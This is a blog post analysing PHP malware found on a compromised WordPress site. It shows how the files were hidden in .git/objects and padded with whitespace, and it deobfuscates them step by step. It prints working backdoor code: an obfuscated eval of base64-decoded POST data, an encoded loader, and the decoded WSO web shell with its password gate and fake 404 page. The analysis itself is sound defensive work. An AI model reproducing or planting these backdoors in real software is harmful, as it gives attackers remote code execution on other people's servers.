Matt Greensmith bio photo

Matt Greensmith

Infrastructure and systems-focused software engineer and cloud architect.

Email Twitter LinkedIn Github

This week I was shown some PHP malware in the wild. A coworker was cleaning up a compromised Wordpress install. The web hosting provider had flagged a particular file as malware based on a file signature match. The cause of the infection was pretty clear (misconfigured webserver permissions allowing arbitrary file upload and execution!), so cleanup was strightforward. However, as we dug through the file hierarchy on the webserver, we found a number of additional PHP files that had not been detected as malware, but were clearly malicious. I’m going to walk through the deobfuscation of these files.

These files were found in various subdirectories inside .git/objects, which normally contain binary git blobs only. When was the last time you looked at the contents of that directory?

.inc.php
.view.php
diff.php
dump.php
inc.php
options.php
proxy.php
session.php
title.php

All the files have common names which wouldn’t be out of place on any wordpress install. However, in this instance, the names stood out because the usual files in .git/objects/*/ all have SHA names.

master$ ls .git/objects/16

9c10611acf14bef4a5430838a50a30fb967351
d7d7b0e2441d1dddff7dfbac4a944a2a213f28
inc.php

Let’s look at the contents of one of these files. Here’s what inc.php looked like when we opened it in an editor:

<?php

OK, so just an empty PHP file. Nothing to see here, right? We were caught by this for a few minutes. Now let’s try it with word wrap turned on:

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n318a65'];if(isset($s22)){eval($s21($s22));}?>

Oh, now we’ve got something! The content was pushed to the right by 255 columns, hidden from casual observers.

Let’s see if we can de-obfuscate this code. We’ll start by reformatting:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n318a65'];
if(isset($s22)){eval($s21($s22));}
?>

And now we can evaluate each line:

<?php

$sF="PCT4BA6ODSE_";

$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
# => $s21="base64_decode"

$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n318a65'];
# => $s22=_POST['n318a65']

if(isset($s22)){eval($s21($s22));}
# => if(isset(_POST['n318a65'])){eval(base64_decode(_POST['n318a65']));}

?>

OK, so we have an arbitrary code executor. This code will base64-decode and then execute the contents of the n318a65 parameter if found in POST data. Easy!

Let’s look at a more interesting file. Here’s .view.php

<?php
$vF9UATQ = Array('1'=>'N', '0'=>'S', '3'=>'O', '2'=>'8', '5'=>'v', '4'=>'3', '7'=>'H', '6'=>'n', '9'=>'W', '8'=>'u', 'A'=>'C', 'C'=>'f', 'B'=>'9', 'E'=>'q', 'D'=>'g', 'G'=>'y', 'F'=>'Y', 'I'=>'0', 'H'=>'t', 'K'=>'F', 'J'=>'w', 'M'=>'Q', 'L'=>'b', 'O'=>'2', 'N'=>'d', 'Q'=>'k', 'P'=>'6', 'S'=>'T', 'R'=>'V', 'U'=>'p', 'T'=>'R', 'W'=>'x', 'V'=>'4', 'Y'=>'s', 'X'=>'5', 'Z'=>'X', 'a'=>'A', 'c'=>'G', 'b'=>'e', 'e'=>'j', 'd'=>'1', 'g'=>'L', 'f'=>'U', 'i'=>'B', 'h'=>'r', 'k'=>'c', 'j'=>'a', 'm'=>'P', 'l'=>'7', 'o'=>'h', 'n'=>'D', 'q'=>'m', 'p'=>'I', 's'=>'o', 'r'=>'Z', 'u'=>'i', 't'=>'M', 'w'=>'J', 'v'=>'l', 'y'=>'E', 'x'=>'z', 'z'=>'K');
function vOSF9PJ($vJ2NSLW, $vIW0M1X){$vYNF1RQ = ''; for($i=0; $i < strlen($vJ2NSLW); $i++){$vYNF1RQ .= isset($vIW0M1X[$vJ2NSLW[$i]]) ? $vIW0M1X[$vJ2NSLW[$i]] : $vJ2NSLW[$i];}
return base64_decode($vYNF1RQ);}
$v4CK4VY = 'wcKdNcoCkcKxkGaBpApxrqRvrnFJtnToFqTutOFXFSDG3nKQ3SaxFqfxteFGtGplADsQFOBYL4pDm0aupOTq10plAuTQr9'.
'roN9WIZOKeNcv5LuaBpANcj9WvkIdoLuklAuTQr9roN9WIZ4RxrRBojqKV'.
'pnIDN7wdrSYzwcTvrqKdL7TCFOook61vNAaBpANZj9XQL4NxgSyG1Sy63Js'.
'zMcv8jRBxrZMswORGkqBGZOW5rGkYSvRtSAQlAQiULqvCkORIzANYLONCrZwGL4wxwGJJzSYzMcv8jRBxrZMswOdobKB'.
'vbcReNZTULOXCNcvHr0kYtAQlAQixrZTCNcvHrRBYj9dUNADJzSYzM71vNKBHF9NUFdBWN9BIrZ1Ck6R8NcvHr0DJz'.
'SYzMcTvrqv8r0D6Rd1mZdrKfv1wSIV6gAa6tuVdgey6zSYzAqvqzcNvNKBHF9NUFdBWN'.
'9BIrZ1Cr4iezAQUp7YzpAaDpcrdLq1Ij9B8pKNSS41IkqvJkOWokOovkGDQFZwGFZQUp7YzpAaDpA'.
'aDpAiGrZTdkqVDjZ1CFZwGFZQswcKGkqKXz0a/pcKGkqKXZOdokAD6Rd1mk'.
'4TGjZixLcKxjcRxwGJDwcKGkqKXz0aPp71IkqvJkOWokOovkGDQFZwGFZQU3JsDpAaDCMsDpAaDwKBMSd1fp'.
'nIDRd1mk4TGjZixLcKxjcRxzATCfyBSRAQlAuaDpAaQZI1mSIHwT0aBpKNSS41IkqvJkOWokOovkGDQZI1m'.
'SIHwT0QlA6IzAqrdLq1Ij9B8p7NxLIW5rOv8zAQDbJsDpAaDjcRorcRGzANpRKTMgxy8tAaItnMDSqBIpyr5N9XQwG'.
'QlAuaDpAiQj9fspeMJ1ApU3JUBADUqN9XeNcv5LuiZfIBxrZTeLOBhj9fswcYYpAT'.
'Oz0ilAuaDpAaQZI1mSIHwTRYQjdIDm0aQNeYzpAaDp71vNc15LOHU'.
'r0DQjGJDw7FU3JUBADUUruDor9dJN7QswcKdNcoCkcKxkGQUp7YzpAaDpcvqzcvxkORIzATC'.
'fyBSRKY6kcKxkGNNz0aqwuasL9MdzATCfyBSRKY6kcKxkGNNz0aBm0a'.
'QFZRIjKBJFZ1xz0QzpAaDpAaDpAiZfIBxrZTeLOBhj9fsL9MdzATCfIR0RQR09GNpRKTMZIomfdM6Z0QYpAToNZTsZ4iok4tU3'.
'JszpAaDpcvqpADojZ1xrZMswKBnSIBg0fRLL9MdzATCfIR0RQR09GNpRKTMZIomfdM6Z0'.
'vNz0i2CAaswKBnSIBg0fRLL9MdzATCfIR0RQR09GNpRKTMZIomfdM6Z0vNpAyBpAToNZTsZ4iok4tUzMsDpAaDpAaDp7NxLI'.
'W5rOv8zAQlA6IzAqrdLq1Ij9B8pcKeNcv5LvwnzAQDbJsDpAaDj9FspfaQZdimfdTLw4aWwdIUp7YzpA'.
'aDpAaDpAaQF0aBpcKGkqKXzasDpAaDpAaDpAaDpAauN9XoL9fupnI+p7iskKBd'.
'LqKHr0DUgasDpAaDpAaDpAaDpAaukcoJZ4rvk61ULOVupnI+p7isk7rvk61ULOVsz0Jz'.
'pAaDpAaDpAaDpAaDp6NxLdBOrZwxj9B8puaBmuiZfIBCRQR0fIvmSuJzpAaDpAaDpAaD'.
'pAaDp61orqRHLOTvpuaBmuiaj9XUZONvNAD6kOKqrRBHLOTvwGQzpAaDpAaDpAaU3JsDpAaDpAaDpcRejc2DkORG'.
'j9KYjZUvzATozSYzpAaDp7IDr9Wxr0ilAuaDpAaDpAaDrZroLADQZdimfdTLw4aWwdIU3JsDpAaDCM'.
'UBAqvqzAivLZiIb0DQZdimfdTLwOy6Z0QDzMsDpAaDj9FsjZ1xrZMswcTvrqKdL7TCF91Ij9B8z0aqwuiqN9XeNcv5LvBvbcv'.
'xN7tswOKeNcv5LukDguaQrcRqFZRYNKBoF4TULOVUzMsDpAaDpAaDpATCfyBSRKY6F0NNpnIDwcTvrqKdL7TCF9'.
'1Ij9B83JsDpAaDr9WxrMsDpAaDpAaDpATCfyBSRKY6F0NNpnIDwd1vFIv8rq263JUUruDD'.
'p9RHk7TXzATCfyBSRKY6F0NNz0aqwuiqN9XeNcv5LvBvbcvxN7tswOKeNcv5LukDguaQZdimfdT'.
'LwOy6Z0QDzMsDpAaDFOKYLKBdkORGZOrdLqtswOKeNcv5LukDguaQZdimfdTLwOy6Z0QlAqRVjZMl';
eval(vOSF9PJ($v4CK4VY, $vF9UATQ));
?>

This file employs similar tactics to obfuscate the payload. I changed the variable names and indentation, and its actions become very clear:

<?php

$char_transposition_map = Array('1'=>'N', '0'=>'S', '3'=>'O', '2'=>'8', '5'=>'v', '4'=>'3', '7'=>'H', '6'=>'n', '9'=>'W', '8'=>'u', 'A'=>'C', 'C'=>'f', 'B'=>'9', 'E'=>'q', 'D'=>'g', 'G'=>'y', 'F'=>'Y', 'I'=>'0', 'H'=>'t', 'K'=>'F', 'J'=>'w', 'M'=>'Q', 'L'=>'b', 'O'=>'2', 'N'=>'d', 'Q'=>'k', 'P'=>'6', 'S'=>'T', 'R'=>'V', 'U'=>'p', 'T'=>'R', 'W'=>'x', 'V'=>'4', 'Y'=>'s', 'X'=>'5', 'Z'=>'X', 'a'=>'A', 'c'=>'G', 'b'=>'e', 'e'=>'j', 'd'=>'1', 'g'=>'L', 'f'=>'U', 'i'=>'B', 'h'=>'r', 'k'=>'c', 'j'=>'a', 'm'=>'P', 'l'=>'7', 'o'=>'h', 'n'=>'D', 'q'=>'m', 'p'=>'I', 's'=>'o', 'r'=>'Z', 'u'=>'i', 't'=>'M', 'w'=>'J', 'v'=>'l', 'y'=>'E', 'x'=>'z', 'z'=>'K');

function transpose_and_base64_decode($source_text, $transposition_map) {
  $transposed_string = '';
  for($i=0; $i < strlen($source_text); $i++) {
    $transposed_string .= isset($transposition_map[$source_text[$i]]) ? $transposition_map[$source_text[$i]] : $source_text[$i];
  }
  return base64_decode($transposed_string);
}

$long_text = '<SNIP>';

eval(transpose_and_base64_decode($long_text, $char_transposition_map));

?>

OK, we’re ready to see the payload! Changing the final eval to a print and executing the code gets us this gem:

<?php
$auth_pass = "3feed6004abdb3f9a8281d903be32623";

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    header('HTTP/1.0 404 Not Found');
    die("404");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;
?>

And voila, a nice little web shell based on WSO.